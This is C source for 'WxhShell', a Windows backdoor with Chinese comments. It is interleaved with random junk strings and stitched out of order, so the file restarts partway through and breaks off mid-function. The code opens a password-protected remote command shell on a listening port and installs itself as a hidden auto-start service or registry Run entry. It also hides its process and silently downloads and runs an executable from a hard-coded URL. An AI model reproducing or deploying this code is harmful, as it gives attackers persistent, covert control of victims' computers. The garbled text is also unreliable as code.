static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GH1"xR4! [`RX*OH2 HANDLE hProcess; H<EQu|f&x PROCESS_BASIC_INFORMATION pbi; k%]=!5F GL{57 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U.!lTLjfLz if(NULL == hInst ) return 0; !> }.~[M ,#?uJTLH g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T"7~AbgNU g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $(e#aHB NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ma'FRt !V2/A1? if (!NtQueryInformationProcess) return 0; sZGj"_-Hzu 6Htg5o|W hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F#
T 07< if(!hProcess) return 0; \;u@ " qt%D' if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jw<pK4?y 3"n\8#X{ CloseHandle(hProcess); I`KQ|h0% w }^ I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?`zXLY9q7 if(hProcess==NULL) return 0; :0& X^]\ k@ZLg9 HMODULE hMod; xj5;: g#! char procName[255]; YW u cvw& unsigned long cbNeeded; 4lhw3,5 @Z>ZiU,^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '52~$z#m 4SPy28<f CloseHandle(hProcess); h.O$]:N =0uAE7q(9 if(strstr(procName,"services")) return 1; // 以服务启动 !$N<ds. EnOU?D return 0; // 注册表启动 ib{-A& } N_:qRpp6i _=CZR7:O // 主模块 EF3Cdu{]P int StartWxhshell(LPSTR lpCmdLine) $/!{OU.t` { H"ZZ.^"5FV SOCKET wsl; ;22oY>w BOOL val=TRUE; m3Il3ZY. int port=0; @2'Mt}R> struct sockaddr_in door; 2{|h8oz g~(E>6Y if(wscfg.ws_autoins) Install(); 2^8%>, cuy1DDl port=atoi(lpCmdLine); \]$IDt(s ys 5&PZg* if(port<=0) port=wscfg.ws_port; Vz6Qxd{m3 Reatdh WSADATA data; 9]q:[zm^ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &gzCteS e[hcJz!D if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `{qG1 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [JF150zr door.sin_family = AF_INET; t%F0:SH door.sin_addr.s_addr = inet_addr("127.0.0.1"); )iFJz/n> door.sin_port = htons(port); /cU<hApK Um&(&?Xf if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J9~g|5 closesocket(wsl); HRB<Y
mP@ return 1; "
Hd|7F'u= } YnLErJ \hCH>*x< if(listen(wsl,2) == INVALID_SOCKET) { {%_L=2n6 closesocket(wsl); ^o7;c [E` return 1; M)SEn/T- } 8#vc(04( Wxhshell(wsl); / X1 x WSACleanup(); fW?o@vlO N<~ku<nAU return 0; O{#=d F_CYYGZ } +SwR+H)? JQ"U4GVp // 以NT服务方式启动 ~6p[El#tS VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JH7< { &RfC"lc DWORD status = 0; ocs+d\ DWORD specificError = 0xfffffff; 1dK*y'rx =Q\r?(Iy serviceStatus.dwServiceType = SERVICE_WIN32; 8YbE`32 serviceStatus.dwCurrentState = SERVICE_START_PENDING; i-6Z"b{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~c\e'≻ serviceStatus.dwWin32ExitCode = 0; RsYU59_Y serviceStatus.dwServiceSpecificExitCode = 0; t<#h$}=:Vt serviceStatus.dwCheckPoint = 0; b9!FC$^J serviceStatus.dwWaitHint = 0; WYr/oRO )rC6*eR hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r(P(Rj2~ if (hServiceStatusHandle==0) return; lv04g} W soQ1X@"0 status = GetLastError(); >rf'-X4n if (status!=NO_ERROR) t2)rUWg { 5k.oW= serviceStatus.dwCurrentState = SERVICE_STOPPED; ~;N^g4s serviceStatus.dwCheckPoint = 0; >Z5gSs0 serviceStatus.dwWaitHint = 0; sIy^m}02 serviceStatus.dwWin32ExitCode = status; >6?__v]9G serviceStatus.dwServiceSpecificExitCode = specificError; ,k;^G><
= SetServiceStatus(hServiceStatusHandle, &serviceStatus); [EKQR>s) return; "yS _s } P}4QQw ,'u W*kx serviceStatus.dwCurrentState = SERVICE_RUNNING; h D/*h*}T> serviceStatus.dwCheckPoint = 0; nR-YrR*k serviceStatus.dwWaitHint = 0; }R{ts if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a*&B`77`| } JT!9\i #~
)IJ // 处理NT服务事件,比如:启动、停止 V{!J-nO VOID WINAPI NTServiceHandler(DWORD fdwControl) *+#8mA( { ax<?GjpM switch(fdwControl) LA}Syt\F { 9@Jtaq>jf case SERVICE_CONTROL_STOP: |EJD3& serviceStatus.dwWin32ExitCode = 0; BW$"`T@c6~ serviceStatus.dwCurrentState = SERVICE_STOPPED; (^Y~/ serviceStatus.dwCheckPoint = 0; &__es{;P serviceStatus.dwWaitHint = 0; r/u A.Aou^ { y#3j`. $3p SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?k(7 LX0j } `)_dS&_\ return; r2,.abo case SERVICE_CONTROL_PAUSE: N(Fp0 serviceStatus.dwCurrentState = SERVICE_PAUSED; Tu).K.p: break; 'ZDp5pCC; case SERVICE_CONTROL_CONTINUE: AT2n VakL serviceStatus.dwCurrentState = SERVICE_RUNNING; 75XJL;W # break; kH
G"XTL case SERVICE_CONTROL_INTERROGATE: Q$zO83 break; &B6Ep6QS }; ,X`)ct SetServiceStatus(hServiceStatusHandle, &serviceStatus); xHD=\,{ig } 2#c<\s|C ww],y@da // 标准应用程序主函数 R}*_~7r5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8Djc
c
z { |#]@Z)xa X:vghOt? // 获取操作系统版本 w5Y04J OsIsNt=GetOsVer(); 7/I, HxXp! GetModuleFileName(NULL,ExeFile,MAX_PATH); 3h$6t7=C <
HVl(O // 从命令行安装 ]~'5\58sP if(strpbrk(lpCmdLine,"iI")) Install(); (>nGQS]H w9< R#y[A // 下载执行文件 &L'Dqew,* if(wscfg.ws_downexe) { {xXsBh
Y if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jIC_[ WinExec(wscfg.ws_filenam,SW_HIDE); %C|n9* } '"SEw
w l`#4KCL( if(!OsIsNt) { >7jbgHB // 如果时win9x,隐藏进程并且设置为注册表启动 r]:(Vk]|F HideProc(); {zQ8)$CQ StartWxhshell(lpCmdLine); H4:`6 PSL } |}=acc/ else _Xk.p_uh if(StartFromService()) -zOdU}91Ao // 以服务方式启动 bk;?9%TW StartServiceCtrlDispatcher(DispatchTable); H[,i{dD else +BETF;0D // 普通方式启动
TQpf Q StartWxhshell(lpCmdLine); '
aq!^!z ,!#*GZ.ix return 0; C~2F9Pg } haK3?A,"_A n<O}hM ZT 2bw_IT !dyXJQ =========================================== k_
& :24Lj mr*JJF0Z ON=@O (^TF%(H J??-j g
jDh?I " 1OCeN%4]Qk I>]oS(GNT #include <stdio.h> lr>oYS0 #include <string.h> 5m\<U` #include <windows.h> 8']M^|1 #include <winsock2.h> e7Xeo +/ #include <winsvc.h> q&s3wDl/ #include <urlmon.h> ,(d)Qg Wbr|_W #pragma comment (lib, "Ws2_32.lib") 7}f}$1
#pragma comment (lib, "urlmon.lib") 2Rw&C6("w sFT.Oxg< #define MAX_USER 100 // 最大客户端连接数 \<JSkr[h!" #define BUF_SOCK 200 // sock buffer >s>1[W @* #define KEY_BUFF 255 // 输入 buffer 8i>ZY R!\_rc1/ #define REBOOT 0 // 重启 v1o#1; #define SHUTDOWN 1 // 关机 3er nTD*` Qu?R8+"KS #define DEF_PORT 5000 // 监听端口 %7zuQ \w _}lZ,L(w #define REG_LEN 16 // 注册表键长度 qE&v ; #define SVC_LEN 80 // NT服务名长度 YVQN&|- *scVJ // 从dll定义API C7lH]`W|/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '\Giv!> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {> eXR?s/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mn, =i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }zkHJxZgE Jj!vh{ // wxhshell配置信息 I4/8 _)b^ struct WSCFG { IHam 4$~- int ws_port; // 监听端口 '&x#rjo# char ws_passstr[REG_LEN]; // 口令 z>58dA@f int ws_autoins; // 安装标记, 1=yes 0=no N60rgSzI char ws_regname[REG_LEN]; // 注册表键名 @e(o129 char ws_svcname[REG_LEN]; // 服务名 +giyX7BPJ char ws_svcdisp[SVC_LEN]; // 服务显示名 {@6=Q 6L char ws_svcdesc[SVC_LEN]; // 服务描述信息 G`SUxhC k char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0h#lJS* int ws_downexe; // 下载执行标记, 1=yes 0=no _ky,;9G] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5]KW^sL char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |^: cG4e =
s>T;| }; O@u?h9?cf> 6h|q'.Y // default Wxhshell configuration fol,xMc& struct WSCFG wscfg={DEF_PORT, tNO-e|~' "xuhuanlingzhe", HJLu'KY} 1, "'c
A2~ "Wxhshell", CJ1 7n "Wxhshell", fsJ9bQm/ "WxhShell Service", "$#xK |t "Wrsky Windows CmdShell Service", ;YA(|h< "Please Input Your Password: ", |SoCRjuCPM 1, >.Chl$)< "http://www.wrsky.com/wxhshell.exe", E(O74/2c8 "Wxhshell.exe" oe%}?u }; $@z5kwx:P Z,sv9{4r // 消息定义模块 -}nxJH ) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VCY\be char *msg_ws_prompt="\n\r? for help\n\r#>"; 13 =A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [$qyF|/K`n char *msg_ws_ext="\n\rExit."; v25R_""~ char *msg_ws_end="\n\rQuit."; 7|{}\w(I char *msg_ws_boot="\n\rReboot..."; ;nep5!s;< char *msg_ws_poff="\n\rShutdown..."; "fG8?)d; char *msg_ws_down="\n\rSave to "; n!YKz"$ !TAlBkj char *msg_ws_err="\n\rErr!"; f%SZg!+t char *msg_ws_ok="\n\rOK!"; [b6R% 1pt%Kw*@j char ExeFile[MAX_PATH]; {K+icTL3 int nUser = 0; (KFCs^x7wG HANDLE handles[MAX_USER]; C<NLE- int OsIsNt; oC<.=2] \]</w5 Pi, SERVICE_STATUS serviceStatus; f$+,HB SERVICE_STATUS_HANDLE hServiceStatusHandle; 9{RB{<Se! }p}[j t // 函数声明 }=%oX}[ int Install(void); ?{/4b:ua int Uninstall(void); / :
L ?~ int DownloadFile(char *sURL, SOCKET wsh); #yI
mKEYX int Boot(int flag); d:#yEC void HideProc(void); _2hS";K int GetOsVer(void); SG6kud\b int Wxhshell(SOCKET wsl); GC>e26\: void TalkWithClient(void *cs); Kf>A\l^X7 int CmdShell(SOCKET sock); 0xxg|;h.,g int StartFromService(void); d6'{rje( int StartWxhshell(LPSTR lpCmdLine); c9HrMgW n!NS(.o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K?[q%W]% VOID WINAPI NTServiceHandler( DWORD fdwControl ); `7[EKOJ3g @LS@cCC,a // 数据结构和表定义 gbI^2=YT' SERVICE_TABLE_ENTRY DispatchTable[] = XlV0* }S { Sm)Ha:[4 {wscfg.ws_svcname, NTServiceMain}, hWM<
0= {NULL, NULL} mtJ9nC }; '?!zG{x Zo|.1pN // 自我安装 !ipR$ dM int Install(void) xAK6pDp { !j:9`XD| char svExeFile[MAX_PATH]; FoNSM$x HKEY key; M^O2\G#B strcpy(svExeFile,ExeFile); 8VeQ-#7M/ isQ[ Gc!8 // 如果是win9x系统,修改注册表设为自启动 !B\R''J5 if(!OsIsNt) { ,VCyG:dw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { brW :C?} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3?c3<`TW RegCloseKey(key); 5k`l$mW{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %6t2ohO" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Hpa}FGT RegCloseKey(key); Z)! qW? return 0; G!"YpYml } QIB\AAclO } ]QpWih00V } 8 7BHq) else { E8pB;\Z( 6{"$nF] // 如果是NT以上系统,安装为系统服务 v:!Z=I}> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *G{^|z if (schSCManager!=0) spdvZU=} { qT%FmX SC_HANDLE schService = CreateService d/ARm-D ( {>R:vH8 schSCManager, &X|#R1\ wscfg.ws_svcname, e7m*rh%5> wscfg.ws_svcdisp, JTr vnA SERVICE_ALL_ACCESS, P+s!|7' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nSW=LjrO~< SERVICE_AUTO_START, eCqHvMp SERVICE_ERROR_NORMAL, K%a%a6k` svExeFile, t/cY=Wp NULL, j7jCm: NULL, jBgP$g NULL, @ o3T NULL, =<{np NULL )+[ gd/<C. ); UmKI1l if (schService!=0) iH/6M { d{SG
Cr 9d CloseServiceHandle(schService); :+qF8t[L CloseServiceHandle(schSCManager); l5zS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *A"~m!= strcat(svExeFile,wscfg.ws_svcname); ;5zz<;Zy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s$cK(S# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l|/ep:x8 RegCloseKey(key); P!H_1RwXKC return 0; .@(6 Y<dN } Y"~gw~7OD } ^lA=* jY( CloseServiceHandle(schSCManager); [P&7i57 } mS^tX i5hg } 9fhsIe
;\]b T;# return 1;
f4Xk,1Is } ?AJKBW^ @)|C/oA // 自我卸载 EB2w0a5 int Uninstall(void) 4)@mSSfn. { Y8m1M-#w HKEY key; .#rJ+.2 `(YxI if(!OsIsNt) { 7JEbH?lEN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wgamshm"d RegDeleteValue(key,wscfg.ws_regname); .}O[dR RegCloseKey(key); ) L#i%)+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !a7[8& RegDeleteValue(key,wscfg.ws_regname); l038%U~U! RegCloseKey(key); h| ,:e;>} return 0; &3bx`C } jN[`L%Qm } 9aze>nxh. } jz
qyk^X else { %p2Sh)@M 7]blrN] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4)A#2 if (schSCManager!=0) ,Wk?I%> { /J=v]<87a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RxI(:i? if (schService!=0) v^#~98g] { j`~Ms> if(DeleteService(schService)!=0) { wE? 'Cl CloseServiceHandle(schService); KwPOO{4]g CloseServiceHandle(schSCManager); B" !l2 return 0; a-=8xs' } ^; )8VP6 CloseServiceHandle(schService); @\f^0^G } S/9DtXQ CloseServiceHandle(schSCManager); ,n3a
gkPO> } \l9qt5rS } Dey<OE& G+X
Sfr return 1; S7/eS)SQR } uTKD 4yig 2QJ{a46} // 从指定url下载文件 ,N!o int DownloadFile(char *sURL, SOCKET wsh) 2E}*v5b, { P_*" dza HRESULT hr; BT}!W`
char seps[]= "/"; #,":vr char *token; W g02 A\ char *file; ;<j0f~G` char myURL[MAX_PATH]; e[&L9U6GW- char myFILE[MAX_PATH]; 7?GIS ' 8B\2Zfe strcpy(myURL,sURL); .k%[4:Fe token=strtok(myURL,seps); PH+S};Uxv while(token!=NULL) B{'( L| { g^}8:,F_ file=token; u>kN1k Q8 token=strtok(NULL,seps); YoBPLS`K } +yk24
`> e=B|==E10M GetCurrentDirectory(MAX_PATH,myFILE); 6L"%e!be6 strcat(myFILE, "\\"); 0yuS3VY) strcat(myFILE, file); {^\+iK4bS send(wsh,myFILE,strlen(myFILE),0); qI#;j%V send(wsh,"...",3,0); +trC,D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e?JW if(hr==S_OK)
1~Oe=`{& return 0; `w.n]TR else _"bHe/'CI return 1; &jslyQ# pe] A5\4c } 60J;sGW H!5\v"]WB // 系统电源模块 :6vm+5! int Boot(int flag) 4^WpS/#4 { E\as@pqo\p HANDLE hToken; mOy^vMa TOKEN_PRIVILEGES tkp; 3%E }JU?MM lku[dQdk if(OsIsNt) { C8Qa$._ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %s|}Fz-> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y
}$/e tkp.PrivilegeCount = 1; =5/9%P8j9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8<8:+M} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pTPi@SBaP{ if(flag==REBOOT) { lI *o@wQg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) = \'}g? return 0; n
`&/D } ==3dEJS else { Tn*9lj4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pWK(z[D return 0; /&
Jan: } HCyv ]LR } ts\5uiB<% else { MZSy6v if(flag==REBOOT) { \;qW 3~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i;/5Y'KZ return 0; xJ>fm%{5 } OBOtu u. else { p"n$!ilbm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fGUE<l return 0; >O*IQ[r- } CE#gfP } F`gi_;c *=]&&< return 1; ^(vs.U^U< } Gft%Mq
v LhOa{1SY // win9x进程隐藏模块 M+U9R@ void HideProc(void) [@J/eWB { 6$kq aS## F Sw\_[^CQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ok!L.ac if ( hKernel != NULL ) '*5i)^ { _F>CBG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \fG#7_wt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gp>3I!bo[K FreeLibrary(hKernel); g)#W>.Asd } (7*%K&x , w{e return; >,F bX8Zz } oB}BU`-l A#.edVj.g4 // 获取操作系统版本 ,K)_OVB int GetOsVer(void) w_.F'
E { mq@6Q\Z+ OSVERSIONINFO winfo; iiT"5`KY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >/l? g5{ GetVersionEx(&winfo); ZA0mz 65 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vHyC; 4' return 1; zHA!%>%' else R3x3]]D return 0; qTdh eX/ } TE3lK(f d,+Hd2o^X // 客户端句柄模块 5gYRwuf int Wxhshell(SOCKET wsl) &e E=<x { 3EJj9}#x"' SOCKET wsh; L
6c 40 struct sockaddr_in client; ',9V|jvK DWORD myID; 't:;irLW. I'A_x$ib6 while(nUser<MAX_USER) ojaws+(& y { >_[9t int nSize=sizeof(client); t^+ik1. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); );#JL0I if(wsh==INVALID_SOCKET) return 1; EK{Eo9l ]{3)^axW; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .~~nUu+M if(handles[nUser]==0) (SpX w,: closesocket(wsh); q]T1dz? else VCV"S>aVf nUser++; J1( 9QN[w } cqQ#p2<% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $ `ov4W 8EW_V$>R return 0; xN5) } \H1(PA 0(eBZdRO // 关闭 socket 8<X#f
! void CloseIt(SOCKET wsh) cS5Pl { mk;&yh closesocket(wsh); VEWi_;=J1 nUser--; Lt u'W22 ExitThread(0); XW[j!`nlk } `F-/QX[: kjIAep0rT // 客户端请求句柄 sd*p/Q|4 void TalkWithClient(void *cs) h
k]
N6+@ { 6.sx?Y YM CSJdvxb SOCKET wsh=(SOCKET)cs; {#ZlM char pwd[SVC_LEN]; *:Y%HAy* char cmd[KEY_BUFF]; RSfQNc9Z char chr[1]; 2GP=&K/A int i,j; PC~Y8,A|.t bGN:=Y' while (nUser < MAX_USER) { 6Y^23W F nr95YSH if(wscfg.ws_passstr) { ,c;Kzp>e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H3z:ZTI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +9M^7/}H //ZeroMemory(pwd,KEY_BUFF); :0Bq^G"ge i=0; C6VLy x while(i<SVC_LEN) { 6c}h(TkB "H7dft/ // 设置超时 Pr3qo4t.L fd_set FdRead; {+] [5<q struct timeval TimeOut; <`.X$r* FD_ZERO(&FdRead); FtpK)9/4 FD_SET(wsh,&FdRead); I4'5P}1yp TimeOut.tv_sec=8; )F}F_Y TimeOut.tv_usec=0; Lb!Fcf|h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?qP7Y nl if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p,
h9D_ DGRXd# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *QpMF/<? pwd=chr[0]; xe]y] if(chr[0]==0xd || chr[0]==0xa) { B;M?,<%FRU pwd=0; rA3$3GLQ- break; Jb0`42 } tRs [ YK i++; p)jk>j B } rV2WnAb[H& -z-C*%~ // 如果是非法用户,关闭 socket *F+KqZ.2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g,Lq)'N;O } P2NQHX
^|/TC!v]M send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]3x? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VQ(j pns5 HguT"%iv while(1) { _>5(iDW0 Vp#JS3Y ZeroMemory(cmd,KEY_BUFF); E-4b[xNj*+ 6hw=
// 自动支持客户端 telnet标准 A0/"&Ag] j=0; n4s+>|\M while(j<KEY_BUFF) { ?ME6+Z\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hcgMZT!<5 cmd[j]=chr[0]; 9%k2'iV7 if(chr[0]==0xa || chr[0]==0xd) { zpzK>DH( cmd[j]=0; Cl5uS%g break; zvvhFN2s } $ZUdT j++; 18|m)(W } '<jyw u#Pa7_zBj] // 下载文件 srr
:!5 if(strstr(cmd,"http://")) { 7TgOK send(wsh,msg_ws_down,strlen(msg_ws_down),0); \MsTB|Z if(DownloadFile(cmd,wsh)) Umz KY send(wsh,msg_ws_err,strlen(msg_ws_err),0); <5-[{Q/2z else %<)2/|lCd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <C_jF } dV*]f$wQ else { )#EGTRdo g%ndvdb m switch(cmd[0]) { yd^{tQi +@A // 帮助 Rvkedb case '?': { ^T( .k= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Nu0C;B66 break; [8P:?nDDL } :I"2V // 安装 ySk R>y case 'i': { sz5MH!/PJ if(Install()) fWCo;4<5? send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2n,*Nd` else ~De"? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +s"hqm break; ,QOG!T4 } +cD<:"L'g // 卸载 Qn^' case 'r': { dl.N.P7}4 if(Uninstall()) dah[:rP,n{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); mH54ja2 else 5 z~1Dw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); __lM7LFL break; ,oORW/0iS } jTf@l?| // 显示 wxhshell 所在路径 =4vy@7/ case 'p': { 8&;UO{ char svExeFile[MAX_PATH]; b
IH; strcpy(svExeFile,"\n\r"); a:+{f& strcat(svExeFile,ExeFile); &qLf@1AD send(wsh,svExeFile,strlen(svExeFile),0); q?,).x
nN break; )) Zf|86N } O1rvaOlr // 重启 =Ee&da^MB case 'b': { ~{?_p@&n send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /Y*WBTV' if(Boot(REBOOT)) Zvhsyz| send(wsh,msg_ws_err,strlen(msg_ws_err),0); MV!{j;g1< else { "C?#SO
B closesocket(wsh); A]y`7jJ ExitThread(0); T\:4qETQF] } SIe="YG]< break; ,K>I%_!1 } y6@0O%TDN // 关机 Q0$8j-1I case 'd': { T`/AY?# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sI43@[ if(Boot(SHUTDOWN)) cy*?&~; send(wsh,msg_ws_err,strlen(msg_ws_err),0); [l:x'_y else { a! (4Ch closesocket(wsh); v.\*./-i ExitThread(0); -Btk 3 } 2;xIL] break; fTzvmC:g7 } I\hh8abAp // 获取shell gwNq
x" case 's': { cD@(/$wt CmdShell(wsh); Pnw]Tm}g closesocket(wsh); 6~OoFm5 ExitThread(0); bf0+DvIB break; )Z[ft } w^(<N7B3T // 退出 ml2_
]3j! case 'x': { xE1 eT, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5NBV[EP CloseIt(wsh); U6=..K!q break; <CRP^_c } QU#w%| // 离开 d^/3('H6 case 'q': { -HQQw$ send(wsh,msg_ws_end,strlen(msg_ws_end),0); vVj closesocket(wsh); Wi>!{.}%A WSACleanup(); M]<?k]_p exit(1); U2$d%8G break; |\w=u6jX } ^*S ,xP } %lL.[8r| } u,F nAh?" !P ~_Dl2d // 提示信息 EQ2#/> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PiY Y6i0 } 6\L0mcXR!
} P
D4Tz!F XttqOf return; KuWWUjCE } h
a|C&G n-5W*zk1 // shell模块句柄 ,_|]Ufr!a int CmdShell(SOCKET sock) KN$}tCU { m_hN*v
Py STARTUPINFO si; $`APHjijN ZeroMemory(&si,sizeof(si)); d#6`&MR si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a5 *2h{i si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X7[^s
$VK PROCESS_INFORMATION ProcessInfo; :iFIQpk char cmdline[]="cmd"; !
N|0x` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .e3NnOzyxS return 0; `L:CA5sBud } )X04K~6lY *Kyw^DI // 自身启动模式 R,)}>X|< int StartFromService(void) h H <J,Wn { ##KBifU" typedef struct *ohL& |